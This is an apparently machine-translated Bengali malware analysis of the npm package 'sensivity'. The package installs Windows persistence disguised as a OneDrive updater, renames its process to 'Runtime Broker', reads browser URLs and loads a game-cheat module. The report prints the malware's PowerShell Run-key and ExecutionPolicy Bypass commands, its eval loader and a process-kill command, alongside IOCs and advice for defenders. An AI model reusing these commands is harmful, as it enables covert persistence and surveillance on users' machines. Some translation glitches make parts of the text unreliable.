TL; ডিআর
এনপিএম প্যাকেজ সংবেদনশীলতা এটি নিজেকে একটি "সংবেদনশীলতা নিয়ন্ত্রণ প্যানেল" হিসেবে বর্ণনা করে। উইন্ডোজে এটি একটি রিমোট-কন্ট্রোল এবং নজরদারি সরঞ্জাম হিসেবে কাজ করে।
এর প্রবেশপথ, launcher.jsনিজের প্রসেসের নাম পরিবর্তন করে রানটাইম ব্রোকার রাখে, এবং একটি অটোস্টার্ট রান-কী ভ্যালু লেখে যার নাম OneDriveUpdate যা একটি লুকানো VBScript-এর মাধ্যমে প্যাকেজটি পুনরায় চালু করে, PowerShell চালু করে -ExecutionPolicy Bypassএবং তারপরে একটি 6.87 MB নেটিভ মডিউলের পাশাপাশি একটি 171 KB অস্পষ্ট সার্ভার পেলোড মূল্যায়ন করে, sens.node.
এটি TCP পোর্ট 3000-এ একটি ফোন-পেয়ারিং কন্ট্রোল প্যানেল সরবরাহ করে এবং Windows UIAutomation-এর মাধ্যমে সক্রিয় ব্রাউজারের অ্যাড্রেস-বারের URL পড়ে, একই সাথে একটি হার্ড-কোডেড ইউটিউব ভিডিওর উপর নজর রাখে।
যে দুটি অংশ আগে ব্ল্যাক বক্স হিসেবে চিহ্নিত ছিল, সেগুলো এখন সমাধান করা হয়েছে। দুর্বোধ্য সার্ভারটি, server.obf.jsএটি একটি obfuscator.io RC4 স্ট্রিং-অ্যারে স্কিম ব্যবহার করে; এর ডিকোডারটি অফলাইনে (কোনো জাভাস্ক্রিপ্ট এক্সিকিউট না করে) পুনরায় ইমপ্লিমেন্ট করলে একটিমাত্র এক্সটার্নাল এন্ডপয়েন্ট পুনরুদ্ধার করা যায়। https://izopi.com/check.php — এর সাথে একটি এমবেডেড আরএসএ পাবলিক কী থাকে, যা স্বাক্ষরিত লাইসেন্স প্রতিক্রিয়াগুলো যাচাই করতে ব্যবহৃত হয়।
নেটিভ মডিউল, sens.nodeএটি প্যাক করা নয়: এর ইমপোর্ট টেবিল এবং এমবেডেড স্ট্রিংগুলো এটিকে একটি DirectX 11 / Dear ImGui ইন-গেম ওভারলে হিসেবে চিহ্নিত করে, যা রিমোট-প্রসেস ইনজেকশন এবং মেমরি রিড/রাইট দ্বারা চালিত হয়ে এইমবট, ইএসপি (ওয়াল-হ্যাক) এবং ট্রিগারবট ফিচার প্রদান করে।
এর ভেতরের স্ট্রিংগুলো GTA V / FiveM-এর সাথে সামঞ্জস্যপূর্ণভাবে যানবাহনের সত্তা এবং মানচিত্রের অবস্থান নির্দেশ করে। npm প্যাকেজটি হলো সেই নেটিভ মডিউলটির ডেলিভারি এবং স্থায়িত্ব রক্ষার র্যাপার।
এর মূল বৈশিষ্ট্যটি কার্যক্ষম, প্রযুক্তিগত নয়: একজন বেনামী প্রকাশক একটি প্যাকেজের প্রায় সত্তরটি সংস্করণ প্রকাশ করেছিলেন — 2.5.0 মাধ্যমে 2.5.69 — কয়েক দিন ধরে, প্রত্যেকে একই লঞ্চার বহন করছিল।
কোন ইনস্টল নেই hooksপেলোডটি শুধুমাত্র প্যাকেজটি চালু হলেই চলে।
আক্রমণ: এটি কীভাবে কাজ করে
sensivity প্যাকেজে দশটি ফাইল থাকে। package.json ফাইলটি খুবই সাদামাটা: এতে কোনো repository ফিল্ড বা license নেই, একটি main এবং দুটি bin alias (sensivity, sens) আছে, যেগুলো সবই launcher.js ফাইলকে নির্দেশ করে, এবং node launcher.js নামের একটি স্টার্ট স্ক্রিপ্ট রয়েছে। এতে কোনো postinstall বা preinstall নেই। npm install কমান্ড চালালে কিছুই চালু হয় না। নিচে বর্ণিত আচরণটি তখন কার্যকর হয়, যখন কোনো ব্যবহারকারী প্যাকেজটি চালু করেন — bin shim, স্টার্ট স্ক্রিপ্ট বা require-এর মাধ্যমে।
টারবলটিতে লঞ্চার, একটি অবফাসকেটেড সার্ভার, নেটিভ মডিউল, একটি ভিজ্যুয়াল বেসিক স্ক্রিপ্ট এবং কন্ট্রোল প্যানেলের জন্য একটি public/web ডিরেক্টরি থাকে। launcher.js হলো পাঠযোগ্য অর্কেস্ট্রেটর; রানটাইমে যে লজিকটি গুরুত্বপূর্ণ, তা এর লোড করা দুটি ব্লবের মধ্যে থাকে — একটি অবফাসকেটেড সার্ভার এবং একটি কম্পাইল করা নেটিভ মডিউল, উভয়ই নিচে সমাধান করা হয়েছে।
প্রক্রিয়া ছদ্মবেশ এবং একটি নকল ওয়ানড্রাইভ আপডেটার
এক্সিকিউশনের শুরুতে launcher.js তার নিজের প্রসেসের নাম দুইবার সেট করে:
javascript process.title = 'Runtime Broker'; রানটাইম ব্রোকার হলো একটি বৈধ উইন্ডোজ প্রসেস (RuntimeBroker.exe) যা অ্যাপের অনুমতিগুলো নিয়ন্ত্রণ করে। কোনো নোড প্রসেসের নাম পরিবর্তন করে এর সাথে মিলিয়ে রাখলে, টাস্ক ম্যানেজারে দ্রুত চোখ বোলালে অস্বাভাবিক কিছু চোখে পড়ে না।
পার্সিস্টেন্স সরাসরি রেজিস্ট্রি এপিআই-এর পরিবর্তে পাওয়ারশেলের মাধ্যমে লেখা হয়:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); অটোস্টার্ট ভ্যালুটির নাম OneDriveUpdate, এবং এটি সরাসরি প্যাকেজটিকে নির্দেশ করে না। এটি wscript.exe-কে নির্দেশ করে, যা বান্ডেল করা OneDrive.Standalone.Updater.vbs স্ক্রিপ্টটি চালায়। ঐ স্ক্রিপ্টটি একটি লুকানো উইন্ডোতে node launcher.js পুনরায় চালু করে। রান-কী-এর নাম এবং VBScript ফাইলের নাম উভয়ই মাইক্রোসফটের ব্র্যান্ডিং অনুসরণ করে, ফলে অটোস্টার্ট এন্ট্রিটিকে একটি সাধারণ OneDrive টাস্ক বলে মনে হয়।
এক্সিকিউশন-পলিসি বাইপাস সহ পাওয়ারশেল
লঞ্চারটি বারবার পাওয়ারশেলে বার্তা পাঠায়। স্ক্যানারগুলো যে সিঙ্কটিকে গুরুতর হিসেবে চিহ্নিত করে, তা হলো এক্সিকিউশন পলিসি নিষ্ক্রিয় থাকা অবস্থায় তৈরি করা একটি .ps1 ফাইল চালু করা:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); এক্সিকিউশন পলিসি বাইপাস সেই আহ্বানের জন্য স্থানীয় স্ক্রিপ্ট-স্বাক্ষর যাচাইকরণটি সরিয়ে দেয়। তৈরি হওয়া স্ক্রিপ্টগুলো পরবর্তী বিভাগে বর্ণিত ব্রাউজার-নজরদারি এবং উইন্ডো-শনাক্তকরণের কাজ পরিচালনা করে।
অস্পষ্ট সার্ভার এবং নেটিভ মডিউল
সেটআপের পরে, launcher.js তার আসল পেলোড লোড ও এক্সিকিউট করে:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js হলো ১৭১ কিলোবাইটের একটি _0x-অ্যারে অবফাসকেশন—এটি জাভাস্ক্রিপ্টের এমন একটি প্যাটার্ন যেখানে প্রতিটি স্ট্রিং এবং আইডেন্টিফায়ারকে একটি এলোমেলো অ্যারের ইনডেক্স দিয়ে প্রতিস্থাপন করা হয় এবং তারপর রানটাইমে ডি-রেফারেন্স করা হয়। এই পদ্ধতিটি obfuscator.io দ্বারা উৎপাদিত RC4 ভ্যারিয়েন্ট: একটিমাত্র ডিকোডার ফাংশন অ্যারের একটি এন্ট্রিকে বেস৬৪-ডিকোড করে এবং তারপর প্রতি-কল কী ব্যবহার করে সেটিকে RC4-ডিক্রিপ্ট করে। একটি পৃথক স্ক্রিপ্টে সেই ডিকোডারটি পুনরায় প্রয়োগ করলে—শুধুমাত্র নিষ্কাশিত ৮২১-এন্ট্রির স্ট্রিং অ্যারের উপর সেই পুনঃপ্রয়োগটি চালালে, প্যাকেজের নিজস্ব জাভাস্ক্রিপ্ট কখনোই না চালালে—এটি নিখুঁতভাবে আনওয়াইন্ড হয়ে যায়। যা কিছু দৃশ্যমান হয় তা সামান্য কিন্তু ডিcisএর মধ্যে রয়েছে: একটি এক্সটার্নাল ইউআরএল, `https://izopi.com/check.php`, যা একটি `LICENSE_URL` কনস্ট্যান্টে অ্যাসাইন করা; একটি এমবেডেড `RSA PUBLIC_KEY_PEM`; লোকাল প্যানেল রাউট `/api/kill`, `/api/qr.png`, `/api/trigger`, `/api/url`, `/trigger/off`, এবং `/trigger/status`; এবং `child_process`, `crypto`, ও `[Sensivity] sens.node loaded` স্ট্রিংগুলো — শেষেরটি হলো সেই নির্দিষ্ট লগ লাইন যা লঞ্চারটি `program module loaded`-এ রিরাইট করে। এন্ডপয়েন্টটি হলো একটি লাইসেন্স চেক: ক্লায়েন্ট একটি আইডেন্টিফায়ার পোস্ট করে (অস্পষ্ট সার্ভারটি একটি `Discord ID: %s` স্ট্রিং ফরম্যাট করে) এবং RSA কী সার্ভারের স্বাক্ষরিত প্রতিক্রিয়াটি যাচাই করে।
sens.node হলো একটি ৬.৮৭ মেগাবাইটের কম্পাইল করা নেটিভ অ্যাডঅন, এবং এটি প্যাক করা নয় — এর সেকশন এন্ট্রপি ৫.৬–৬.৬-এর মধ্যে থাকে এবং PE ইম্পোর্ট ও এক্সপোর্ট টেবিলগুলো অক্ষত থাকে, তাই এর ক্যাপাবিলিটিগুলো সরাসরি পড়া যায়। এটি napi_register_module_v1 এক্সপোর্ট করে। standard নোড এন-এপিআই এন্ট্রি পয়েন্ট, তাই ইভ্যালুয়েট করা সার্ভারটি একটি সাধারণ রিকোয়ার কমান্ড দিয়েই এটি লোড করে। এর ইমপোর্ট টেবিলটিই হলো এর পরিচয়। KERNEL32 থেকে এটি OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, এবং Process32First/NextW নিয়ে আসে — যা অন্য একটি প্রসেস খুঁজে বের করা, তার ভেতরে মেমোরি বরাদ্দ করা, এবং সেই মেমোরি পড়া বা লেখার জন্য ব্যবহৃত আদর্শ সেট। USER32 থেকে এটি GetAsyncKeyState, GetKeyState, mouse_event, এবং SetCursorPos নিয়ে আসে; এটি অন-স্ক্রিন ওভারলে-র জন্য d3d11.dll, D3DCOMPILER_43, এবং dwmapi লিঙ্ক করে, এবং নেটওয়ার্ক কলের জন্য সম্পূর্ণ WINHTTP সেট ব্যবহার করে। এর মধ্যে থাকা স্ট্রিংগুলো কোনো দ্বিধা ছাড়াই ফিচার সেটটির নাম উল্লেখ করে: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, এবং Dear ImGui ব্যানার Dear ImGui 1.91.3 WIP। Grapeseed Medical Clinic-এর মতো অবস্থান ও এনটিটি স্ট্রিং এবং ভেহিকেল-ইএসপি পরিভাষা GTA V / FiveM-এর সাথে সামঞ্জস্যপূর্ণ।
এই বিভাজনটি কার্যক্ষেত্রে ইচ্ছাকৃত: পাঠযোগ্য launcher.js ফাইলটিতে কেবল সেই অংশগুলোই থাকে যা একটি স্ক্যানার সহজে পড়তে পারে — যেমন পারসিস্টেন্স, মাস্ক্যারেড, এবং স্বয়ং eval কলটি — অপরদিকে, দুর্বোধ্যতা রানটাইমের সাথে যোগাযোগকারী একমাত্র বাহ্যিক হোস্টটিকে আড়াল করে, এবং বাইনারিটি গেম-ওভারলে ও প্রসেস-ইনজেকশন লজিক ধারণ করে। লঞ্চারটি হলো পাতলা, নিরীক্ষণযোগ্য খোলস; দুর্বোধ্য সার্ভারটি নেটওয়ার্কের পরিচয় গোপন করে; এবং নেটিভ মডিউলটি হলো পেলোড। আমরা বাইনারিটির ইমপোর্ট এবং স্ট্রিংগুলোকে পঠিত হিসেবে বর্ণনা করি; আমরা এগুলো থেকে অপারেটরের উদ্দেশ্য অনুমান করি না।
পোর্ট ৩০০০-এ একটি ফোন-পেয়ারিং কন্ট্রোল প্যানেল
লঞ্চারটি TCP পোর্ট 3000-এ একটি স্থানীয় ওয়েব সার্ভার পরিচালনা করে এবং এটিকে একটি সিঙ্গেলটন হিসেবে বিবেচনা করে। এটি বাইন্ডিং করার আগে একটি বিদ্যমান লিসেনারের জন্য কোয়েরি করে এবং সেটিকে পরিষ্কার করে দেয়:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); প্যানেলটি http://localhost:3000-এ পৌঁছানো যায়, যেখানে http://192.168.1.16:3000-কে হার্ড-কোড করা একটি ল্যান ফলব্যাক ইউআরএল হিসেবে রাখা হয়েছে। public/ ডিরেক্টরি এবং প্যানেলের আচরণ একটি কিউআর-পেয়ারিং ফ্লো-এর সাথে সামঞ্জস্যপূর্ণ: একটি ফোন একটি কোড স্ক্যান করে এবং রিমোট হিসেবে হোস্টের সাথে যুক্ত হয়। লঞ্চারে কোনো বাহ্যিক কমান্ড-অ্যান্ড-কন্ট্রোল ডোমেইন স্পষ্ট অক্ষরে দেখা যায় না — কিন্তু, উপরের ডিওবিফাসকেশন যেমনটা দেখায়, ওবিফাসকেটেড সার্ভারে একটি ডোমেইন উপস্থিত আছে: izopi.com লাইসেন্স এন্ডপয়েন্ট। প্যানেলটি নিজে লোকাল এবং ল্যান-স্কোপড; একমাত্র আউটবাউন্ড হোস্ট হলো সেই লাইসেন্স চেক।
একটি বিচ্ছিন্ন সুপারভাইজার/ওয়ার্কার মডেল প্রসেসটিকে সচল রাখে। লঞ্চারটি SENSIVITY_SUPERVISOR এবং SENSIVITY_WORKER এনভায়রনমেন্ট ফ্ল্যাগ সহ নিজেকে পুনরায় চালু করে, এবং এর প্রতিটি চাইল্ড প্রসেস লুকানো অবস্থায় চলে, ফলে একটি প্রসেস কিল করলেও সেটিকে পুনরায় চালু করার জন্য একটি ওয়াচডগ থেকে যায়।
ব্রাউজার নজরদারি এবং ইউটিউব সংকেত
সবচেয়ে সুনির্দিষ্ট আচরণটি হলো ব্রাউজার পর্যবেক্ষণ। launcher.js এমন PowerShell তৈরি করে যা Windows UIAutomation-কে চালনা করে একটি চলমান ব্রাউজারের অ্যাড্রেস বার পড়ে:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern একটি UI এলিমেন্টের টেক্সট কন্টেন্ট রিটার্ন করে। ব্রাউজারের অ্যাড্রেস-বার এডিট কন্ট্রোলে প্রয়োগ করা হলে, এটি ভিকটিমের বর্তমানে দেখা URL-টি রিটার্ন করে — কোনো ব্রাউজার এক্সটেনশন ছাড়াই, ডিস্কে থাকা প্রোফাইলে হাত না দিয়ে, এবং কোনো API হুক ছাড়াই। তৈরি হওয়া স্ক্রিপ্টটি একটি $browserNames লিস্টের মধ্যে দিয়ে যায় এবং যে ব্রাউজারটি ফোরগ্রাউন্ডে থাকে, তার URL বা উইন্ডো টাইটেল বের করে নেয়।
ওই ইউআরএলটি একটিমাত্র হার্ড-কোডেড টার্গেটের বিপরীতে পরীক্ষা করা হয়:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; লঞ্চারটি ইউটিউব দেখানো একটি ব্রাউজার উইন্ডোর জন্য তিন-সেকেন্ডের একটি লুপে পোল করে, এবং তৈরি হওয়া পাওয়ারশেলটিতে একটি Get-YouTubeBrowser / Test-TargetYouTubeUrl পেয়ার থাকে যা সেই ভিডিও আইডির সাথে মিলে যায়। এর দৃশ্যমান প্রভাব দ্বিমুখী: ভুক্তভোগীর স্ক্রিন থেকে সক্রিয় ব্রাউজিং ইউআরএলটি পড়ে নেওয়া হয়, এবং একটি নির্দিষ্ট ইউটিউব ভিডিওর সাথে হোস্টের মিথস্ক্রিয়া শনাক্ত করা হয়। আমরা এর কার্যপ্রণালী এবং লক্ষ্যবস্তু বর্ণনা করি; কিন্তু তা থেকে কোনো উদ্দেশ্য অনুমান করি না।
অ্যাড্রেস-বার থেকে পড়া ডেটাকেই স্ক্যানার 'sensitivity_data_enumeration' হিসেবে চিহ্নিত করে — এটি একটি Process::env এবং UIAutomation সোর্স যা একটি নেটওয়ার্ক-সক্ষম রানটাইমে ডেটা পাঠায়। বিচ্ছিন্নভাবে দেখলে এটিকে নিরীহ মনে হয় এবং UIAutomation সোর্স থেকে অস্পষ্ট সার্ভার পর্যন্ত ডেটার জীবনচক্র অনুসরণ করলেই কেবল এটি নজরদারিতে পরিণত হয়।
সময়রেখা এবং সংস্করণ বিবর্তন
সেনসিটিভিটি কোনো এককালীন আপলোড নয়। প্রকাশকের অ্যাকাউন্টে এই একটি প্যাকেজেরই প্রায় সত্তরটি প্রকাশিত সংস্করণ রয়েছে, এবং পর্যালোচনার সময়কালেও নতুন নতুন সংস্করণ আসতে থাকে। ২.৫.x লাইন জুড়ে লঞ্চারটি ধাপে ধাপে উন্নত হতে থাকে, কিন্তু এর স্থায়িত্ব এবং পেলোড-লোডিং অপরিবর্তিত থাকে।
| তারিখ (UTC) | পর্যবেক্ষণ করা সংস্করণগুলি | লঞ্চারের অবস্থা |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | বেস কিউআর-প্যানেল লঞ্চার; রান-কী-এর স্থায়িত্ব; অস্পষ্ট সার্ভারের মূল্যায়ন। |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | একই ফিঙ্গারপ্রিন্ট; কনসোল-ট্রেস দমন। |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | পিন করা ইউটিউব এনগেজমেন্ট টার্গেট যোগ করে wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | সমগ্র পরিসরে শূন্যস্থান পূরণ ও পুনঃপ্রকাশ; তত্ত্বাবধায়ক/শ্রমিক নজরদারি। |
ডাউনলোড করা সংস্করণগুলো—২.৫.০, ২.৫.৩৬, এবং ২.৫.৬৯—জুড়ে লঞ্চারটি পরীক্ষা করলে চারটি স্তর দেখা যায়। সবচেয়ে পুরোনো বিল্ডগুলোতে বেস কিউআর-পেয়ারিং লঞ্চারটি থাকে। ২.৫.৩৩ থেকে UIAutomation অ্যাড্রেস-বার হারভেস্টারটি দেখা যায়। ২.৫.৫৮ থেকে একটি সুপারভাইজার-ম্যানেজমেন্ট লেয়ার যুক্ত করা হয়। ২.৫.৬৪ থেকে ডিটাচড সুপারভাইজার/ওয়ার্কার ওয়াচডগ এই সেটটিকে সম্পূর্ণ করে। এই পুরো সময়জুড়ে চারটি জিনিস অপরিবর্তিত থাকে: OneDriveUpdate রান কী, OneDrive.Standalone.Updater.vbs ড্রপার, eval করা server.obf.js, এবং sens.node নেটিভ মডিউল।
২০২৬-০৬-০৫ তারিখের পরিবর্তনটি উল্লেখযোগ্য, কারণ এটি কম ভার্সন নম্বরগুলো—২.৫.০ থেকে ২.৫.১৫ পর্যন্ত—পুনরায় প্রকাশ করেছে, যা কয়েকদিন আগে নিশ্চিত করা ভার্সনগুলোর নিচে অবস্থান করে। এর ফলে রেজিস্ট্রি-তে একটি অবিচ্ছিন্ন ২.৫.x লাইন তৈরি হয়েছে, এবং প্রতিটি ভার্সন একই লঞ্চার বহন করছে।
সমঝোতার সূচক
নীচের সমস্ত সূচক সরাসরি প্যাকেজ টারবল থেকে পড়া হয়েছে। পাঠযোগ্য লঞ্চারটিতে কেবল লুপব্যাক এবং একটি একক ব্যক্তিগত ল্যান ঠিকানা রয়েছে; একমাত্র বাহ্যিক হোস্টনেম, izopi.com, server.obf.js-কে অফলাইনে ডিওবিফাসকেট করে পুনরুদ্ধার করা হয়েছিল।
| আদর্শ | ইনডিকেটর | নোট |
|---|---|---|
| প্যাকেজ | npm:sensivity (≈৭০টি সংস্করণ,) 2.5.0-2.5.69) | একক-প্যাকেজ প্রকাশক; কোনো রিপোজিটরি নেই; লাইসেন্সবিহীন। |
| ফাইল | launcher.js | পাঠযোগ্য অর্কেস্ট্রেটর; মেইন এবং বিন টার্গেট। |
| ফাইল | server.obf.js (≈১৭১ কেবি) | obfuscator.io RC4 স্ট্রিং-অ্যারে পেলোড, যা এর মাধ্যমে লোড করা হয়েছে eval(fs.readFileSync(...)). |
| ফাইল | sens.node (≈৬.৮৭ এমবি) | PE32+ x86-64 নোড N-API অ্যাডঅন; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| ফাইল | OneDrive.Standalone.Updater.vbs | লুকানো রিলঞ্চার (node launcher.js). |
| নেটওয়ার্ক | https://izopi.com/check.php | অস্পষ্ট সার্ভার থেকে লাইসেন্স/প্রমাণীকরণ এন্ডপয়েন্ট পুনরুদ্ধার করা হয়েছে; এমবেডেড RSA পাবলিক কী প্রতিক্রিয়াগুলো যাচাই করে। |
| সামর্থ্য | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | রিমোট-প্রসেস ইনজেকশন এবং মেমরি রিড/রাইট করার ক্ষমতা। |
| সামর্থ্য | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui গেম ওভারলে যা এইমবট, ইএসপি এবং ট্রিগারবট বৈশিষ্ট্যগুলো বাস্তবায়ন করে। |
| রেজিস্ট্রি | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | অটোস্টার্ট মান নির্দেশ করছে wscript.exe এবং VBScript লঞ্চার। |
| প্রক্রিয়া | process.title = 'Runtime Broker' | বৈধ উইন্ডোজ রানটাইম ব্রোকার প্রসেস হিসেবে ছদ্মবেশ ধারণ করে। |
| ব্যবহারিক | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | জেনারেট করা পাওয়ারশেল স্ক্রিপ্টগুলোর জন্য এক্সিকিউশন-পলিসি বাইপাস ব্যবহার করা হয়। |
| ব্যবহারিক | UIAutomation ValuePattern ব্রাউজারের অ্যাড্রেস বার পড়া | ফোরগ্রাউন্ড ব্রাউজার উইন্ডোর ইউআরএল পড়ে। |
| ব্যবহারিক | টার্গেট ভিডিও আইডি wJWta2lO0Lw৩-সেকেন্ডের ইউটিউব পোল | পিন করা এনগেজমেন্ট-মনিটরিং সিগন্যাল। |
| নেটওয়ার্ক | http://localhost:3000, ফলব্যাক http://192.168.1.16:3000 | কিউআর-পেয়ারিং কন্ট্রোল প্যানেলটি স্থানীয়ভাবে এবং ল্যানে উন্মুক্ত। |
| পরিবেশ | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | বিচ্ছিন্ন ওয়াচডগ প্রসেসের সমন্বয় ফ্ল্যাগসমূহ। |
আরোপণ, প্রভাব এবং রক্ষাকারীরা
প্যাকেজটি একটিমাত্র এনপিএম (npm) অ্যাকাউন্ট থেকে প্রকাশিত হয়, যার উল্লিখিত ইমেলটি একটি যাচাইবিহীন জিমেইল (Gmail) ঠিকানা। অ্যাকাউন্টটির রেজিস্ট্রি রেপুটেশন স্কোর অত্যন্ত নেতিবাচক, এটি শুধুমাত্র এই একটি প্যাকেজই রক্ষণাবেক্ষণ ও প্রকাশ করে এবং এর কোনো লিঙ্ক করা সোর্স রিপোজিটরি নেই। আমরা ইমেলটির মালিকানা যাচাই করিনি এবং এই ক্যাম্পেইনটির দায় কোনো নির্দিষ্ট ব্যক্তির ওপর না চাপিয়ে, বরং প্রকাশক অ্যাকাউন্টটির ওপরই আরোপ করছি। লঞ্চারটিতে কোনো ক্লিয়ারটেক্সট ইনফ্রাস্ট্রাকচার নেই, কিন্তু এর একমাত্র এক্সটার্নাল হোস্টটি এখন পরিচিত: অস্পষ্ট সার্ভারটি লাইসেন্স যাচাইয়ের জন্য izopi.com-এর সাথে যোগাযোগ করে, এবং নেটিভ মডিউলটি—যা প্রতিটি নির্দেশনা বিপরীতভাবে না পড়ে বরং এর ইম্পোর্ট টেবিল ও স্ট্রিং থেকে পড়া হয়—একটি গেম ওভারলে যা অন্য একটি প্রসেসের মেমোরিতে প্রবেশ করে এবং তা থেকে ডেটা পড়ে।
এর দৃশ্যমান প্রভাব পড়ে সেইসব উইন্ডোজ ব্যবহারকারীদের উপর, যারা একটি কন্ট্রোল-প্যানেল ইউটিলিটির প্রত্যাশায় sensivity ইনস্টল ও রান করেন। সেইসব হোস্টে প্যাকেজটি একটি OneDrive টাস্কের ছদ্মবেশে অটোস্টার্ট পার্সিস্টেন্স স্থাপন করে, একটি সিস্টেম প্রসেসের অনুকরণে নিজের নাম পরিবর্তন করে, ব্যবহারকারী যা ব্রাউজ করছেন তার URL পড়ে নেয়, এবং একটি পেয়ারিং প্যানেল চালু করে যা লোকাল নেটওয়ার্কের মাধ্যমে মেশিনটিকে একটি রিমোটের সাথে সংযুক্ত করে। এর সুপারভাইজার/ওয়ার্কার ওয়াচডগের কারণে একবার প্রসেস কিল করলেও এটি মুছে যায় না; রান-কী-এর এন্ট্রিটি রিবুটের পরেও টিকে থাকে। এই লঞ্চারটি macOS এবং Linux-কে টার্গেট করে না — পার্সিস্টেন্স, পাওয়ারশেল, এবং UIAutomation পাথগুলো শুধুমাত্র উইন্ডোজের জন্য।
সত্তরটি সংস্করণের এই ঘনঘন পরিবর্তনটি একটি লক্ষণীয় প্রবণতা। কয়েক দিনের মধ্যে একটি প্যাকেজকে কয়েক ডজন বার পুনঃপ্রকাশ করা, যার মধ্যে ইতিমধ্যে সরিয়ে নেওয়া সংস্করণ নম্বরগুলির নীচে নতুন সংস্করণ নম্বর যুক্ত করাও অন্তর্ভুক্ত, অপসারণের মধ্যবর্তী সময়ে রেজিস্ট্রি-তে এর একটি সক্রিয় অনুলিপি বজায় রাখে এবং সংস্করণ-পিন করা ব্লক-লিস্টগুলিকে অকার্যকর করে তোলে। sensivity@2.5.61-এর জন্য একটি ব্লক-লিস্ট এন্ট্রি পরের দিন পুনঃপ্রকাশিত sensivity@2.5.3-এর বিরুদ্ধে কোনো কাজ করে না।
রক্ষাকারীরা নিম্নলিখিত বিষয়গুলোর ওপর পদক্ষেপ নিতে পারে:
- রেজিস্ট্রি-প্রক্সি এবং সিআই অ্যালাওলিস্টে প্যাকেজ নামের সংবেদনশীলতা সরাসরি ব্লক করুন। স্বতন্ত্র সংস্করণ পিন করার সুবিধা পুনঃপ্রকাশের ধারাবাহিকতার কাছে হেরে যায়; নামটিই হলো টেকসই নির্দেশক।
- OneDriveUpdate নামের একটি রান ভ্যালু খুঁজুন, যার ডেটা প্রতি-ব্যবহারকারী পাথে থাকা একটি .vbs ফাইলের বিরুদ্ধে wscript.exe চালু করে। আসল OneDrive আপডেটার এভাবে নিবন্ধিত হয় না।
- একটি Node.js প্রসেসের জন্য অ্যালার্ট, যার process.title হলো Runtime Broker। আসল ব্রোকারটি হলো RuntimeBroker.exe, কোনো Node রানটাইম নয়।
- npm install-time-এ প্যাকেজ ফেচ করার সময় সেগুলোকে ফ্ল্যাগ করুন, যেগুলোর সাথে একটি কম্পাইল করা .node অ্যাডঅন এবং একটি সহযোগী .obf.js ফাইলের eval(fs.readFileSync(…)) অন্তর্ভুক্ত থাকে। এই জোড়াটি — একটি দুর্বোধ্য নেটিভ বাইনারির পাশে একটি অস্পষ্ট টেক্সট পেলোড লোড হওয়া — এখানের কাঠামোগত লক্ষণ, যা যেকোনো স্ট্রিং IOC-এর উপর নির্ভরশীল নয়।
- পরিচালিত উইন্ডোজ এন্ডপয়েন্টগুলিতে, কোনো অপ্রত্যাশিত নোড প্রসেস দ্বারা পোর্ট 3000-এ চালু থাকা যেকোনো লিসেনারকে সন্দেহজনক হিসেবে বিবেচনা করুন।
- ডেভেলপার বা এন্ড-ইউজার হোস্ট থেকে izopi.com-এ পাঠানো অনুরোধগুলো ব্লক করুন বা সেগুলোর জন্য সতর্কবার্তা দিন; এটিই প্যাকেজটির একমাত্র এক্সটার্নাল এন্ডপয়েন্ট, যা অবফাসকেটেড সার্ভার থেকে /check.php-এর মাধ্যমে অ্যাক্সেস করা যায়।
- যেকোনো বান্ডেল করা .node অ্যাডঅনকে বিশ্বাস করার আগে তার ইম্পোর্ট টেবিলটি পরীক্ষা করে দেখুন। প্যাকেজটি যা-ই করার দাবি করুক না কেন, OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread-এর সংমিশ্রণটি হলো রিমোট-প্রসেস ইনজেকশন; এখানে এটি একটি Direct3D ওভারলে এবং aimbot/ESP/triggerbot স্ট্রিংগুলোর পাশেই অবস্থান করছে।
স্থির-বিশ্লেষণের জন্য pipelineসুতরাং, সংস্করণের ঘনঘনের মধ্যেও এর দৃঢ় কাঠামোটি টেকসই থাকে: একটি নন-নেটওয়ার্ক ইনস্টল প্রোফাইল, একটি পরিচিত সিস্টেম-প্রসেস নামে প্রসেস-টাইটেল নির্ধারণ, পাওয়ারশেলের মাধ্যমে রান-কী দিয়ে লেখা, এবং ডিস্ক থেকে পড়া কোনো ফাইলের মূল্যায়ন। এগুলোর কোনোটিই কোনো ডোমেইন, আইপি বা সংস্করণ নম্বরের উপর নির্ভরশীল নয়, যা পরবর্তী পুনঃপ্রকাশের সময় বদলে যেতে পারে।
তথ্যসূত্র
[এনপিএম: সংবেদনশীলতা] – এখানে আলোচিত প্যাকেজ সংস্করণ লাইনের জন্য রেজিস্ট্রি পৃষ্ঠা; এটি অপসারণ করা হতে পারে।





